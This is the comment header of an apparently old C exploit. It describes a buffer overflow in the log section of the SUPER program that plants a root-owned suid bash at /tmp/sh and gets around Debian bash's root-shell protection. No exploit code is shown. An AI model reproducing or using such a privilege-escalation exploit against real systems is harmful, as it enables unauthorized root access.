 *
 * This will exploit a buffer overflow condition in the log section of
 * the SUPER program.
 *
 * It will create a suid bash owned by root at /tmp/sh.
 * (It'll defeat the debian bash-2.xx protection against rootshell)
 *
 * Note: The SUPER program must be compiled with the SYSLOG option.
 *
 * also thanks people from #uground (irc.brasnet.org network)
